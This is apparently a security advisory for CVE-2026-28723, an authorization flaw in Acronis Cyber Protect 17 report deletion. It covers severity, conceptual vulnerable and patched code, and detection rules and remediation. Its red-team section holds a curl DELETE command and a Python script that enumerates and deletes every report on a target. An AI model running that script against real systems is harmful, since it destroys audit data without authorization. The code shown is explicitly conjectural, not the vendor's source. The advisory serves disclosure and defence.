CVE-2026-28723

Executive Summary

CVE-2026-28723 is a medium-severity vulnerability in Acronis Cyber Protect 17 (Linux and Windows) that allows an authenticated attacker to delete reports without proper authorization. The flaw stems from insufficient access control checks in the report management functionality, enabling a low-privileged user to delete reports they should not have access to. This could lead to loss of audit trails, compliance violations, and operational disruption. The vulnerability affects builds prior to 41186. No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary enterprise backup and protection solution (Acronis Cyber Protect 17). Organizations using this software should prioritize patching as part of their vulnerability management program.

CVSS Breakdown & Threat Level

CVSS Score: 4.3 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or race conditions required.
• Privileges Required (PR): Low – An attacker needs valid low-privilege credentials.
• User Interaction (UI): None – No user action required for exploitation.
• Scope (S): Unchanged – The vulnerable component and impacted component are the same.
• Confidentiality (C): None – No data exposure.
• Integrity (I): Low – Unauthorized deletion of reports impacts data integrity.
• Availability (A): None – No direct denial of service.

Threat Level: Medium. While the impact is limited to report deletion, the low attack complexity and network accessibility make it a viable target for insider threats or compromised accounts.

Deep Dive & Mechanics

The vulnerability resides in the report management module of Acronis Cyber Protect 17. The application fails to enforce proper authorization checks when a user requests deletion of a report. Specifically, the backend API endpoint responsible for report deletion does not verify that the requesting user has the necessary permissions (e.g., "delete_reports" or ownership of the report). This allows any authenticated user with low privileges to delete any report in the system.

Root Cause: Missing authorization check in the report deletion handler. The code likely checks for authentication but not for authorization, assuming that any authenticated user can delete their own reports. However, the endpoint does not validate the report's owner or the user's role.

Attack Scenario:

1. An attacker gains access to a low-privilege account (e.g., via phishing, credential stuffing, or insider threat).
2. The attacker enumerates report IDs (which may be sequential or predictable).
3. The attacker sends a DELETE request to the report deletion endpoint with a target report ID.
4. The server processes the request without verifying permissions, deleting the report.
5. The attacker can repeat this to delete multiple reports, causing loss of audit data.

Affected Component: Acronis Cyber Protect 17 (build < 41186) on both Linux and Windows platforms.

Vulnerable vs. Patched Code

Note: Exact source code is not publicly available. The following is a conceptual representation based on the vulnerability description.

Vulnerable Code (Conceptual):

@app.route('/api/reports/<report_id>', methods=['DELETE'])
@login_required
def delete_report(report_id):
    # Missing authorization check
    report = Report.query.get(report_id)
    if report:
        db.session.delete(report)
        db.session.commit()
        return jsonify({"status": "deleted"}), 200
    return jsonify({"error": "Not found"}), 404

Patched Code (Conceptual):

@app.route('/api/reports/<report_id>', methods=['DELETE'])
@login_required
@authorization_required('delete_reports')  # Added authorization check
def delete_report(report_id):
    report = Report.query.get(report_id)
    if not report:
        return jsonify({"error": "Not found"}), 404
    # Verify user has permission to delete this specific report
    if not current_user.can_delete(report):
        return jsonify({"error": "Forbidden"}), 403
    db.session.delete(report)
    db.session.commit()
    return jsonify({"status": "deleted"}), 200

The patched version adds an authorization decorator and a permission check to ensure the user has the right to delete the specific report.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid low-privilege credentials for an Acronis Cyber Protect 17 instance (build < 41186).
• Network access to the management console (typically port 443 or 8443).
• Knowledge of report IDs (can be enumerated via API or UI).

Exploitation Steps:

1. Authenticate to the Acronis Cyber Protect web interface.
2. Obtain a session token (e.g., via login API).
3. Enumerate report IDs by observing the UI or using an API endpoint like /api/reports.
4. Send a DELETE request to delete a report:

   curl -X DELETE 'https://target:8443/api/reports/123' \
     -H 'Authorization: Bearer <session_token>'
   

5. Verify deletion by checking the UI or re-querying the reports endpoint.

Automation Script (Python):

import requests

target = "https://target:8443"
session_token = "your_token_here"

headers = {"Authorization": f"Bearer {session_token}"}

# Enumerate reports
reports = requests.get(f"{target}/api/reports", headers=headers).json()
for report in reports:
    report_id = report['id']
    # Delete each report
    r = requests.delete(f"{target}/api/reports/{report_id}", headers=headers)
    if r.status_code == 200:
        print(f"Deleted report {report_id}")
    else:
        print(f"Failed to delete report {report_id}: {r.text}")

Blue Team

Detection & Prevention:

1. Monitor API Logs: Look for unusual patterns of DELETE requests to /api/reports/ from low-privilege accounts.
2. Audit Permissions: Review user roles and ensure only authorized users have delete permissions.
3. Implement Rate Limiting: Limit the number of DELETE requests per user per time window.
4. Enable Alerts: Configure alerts for mass deletion of reports (e.g., >5 deletions in 1 minute).
5. Harden Authentication: Enforce MFA and strong password policies to reduce risk of credential compromise.

Hunting Query (Splunk):

index=acronis sourcetype=api_logs
method=DELETE uri=/api/reports/*
| stats count by user, src_ip, _time
| where count > 10

Indicators of Compromise (IOCs)

• Network Indicators:
  • Multiple DELETE requests to /api/reports/ from a single IP or user.
  • Unusual API calls from low-privilege accounts.
• File System Indicators:
  • Missing report files in the expected storage location (e.g., /var/lib/acronis/reports/).
• Log Indicators:
  • Log entries showing successful deletion of reports by unauthorized users.
  • Authentication logs showing login from unusual IPs or times.

Detection Engineering

YARA Rule

rule CVE_2026_28723_Acronis_Report_Deletion {
    meta:
        description = "Detects exploitation attempts for CVE-2026-28723 - Unauthorized report deletion in Acronis Cyber Protect 17"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-28723"
    strings:
        $s1 = "DELETE /api/reports/" ascii wide nocase
        $s2 = "Authorization: Bearer" ascii wide nocase
        $s3 = "HTTP/1.1 200 OK" ascii wide
    condition:
        all of them
}

Sigma Rule

title: Unauthorized Report Deletion in Acronis Cyber Protect
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects multiple DELETE requests to Acronis report API from low-privilege users
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: acronis
detection:
    selection:
        http_method: DELETE
        uri|startswith: '/api/reports/'
        http_response_code: 200
    timeframe: 5m
    condition: selection | count() > 5
falsepositives:
    - Legitimate bulk deletion by administrators
level: medium
tags:
    - attack.t1490
    - cve.2026.28723

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2026-28723 - Acronis Cyber Protect Unauthorized Report Deletion";
    flow:to_server,established;
    content:"DELETE"; http_method;
    content:"/api/reports/"; http_uri;
    pcre:"/\/api\/reports\/\d+/";
    classtype:attempted-user;
    sid:1000001;
    rev:1;
    reference:cve,2026-28723;
)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to Acronis Cyber Protect 17 build 41186 or later.
2. Workaround: If patching is not immediately possible, restrict access to the report management API using network segmentation or web application firewall (WAF) rules.
3. Audit: Review user permissions and remove unnecessary delete rights.

Long-Term Measures:

• Implement role-based access control (RBAC) with least privilege.
• Enable comprehensive logging and monitoring for all API endpoints.
• Conduct regular security assessments and penetration testing.
• Apply vendor security advisories promptly.

Detection Rules Deployment:

• Deploy the provided YARA, Sigma, and Suricata rules to SIEM and IDS/IPS systems.
• Tune rules to reduce false positives based on normal administrative behavior.

Valters IT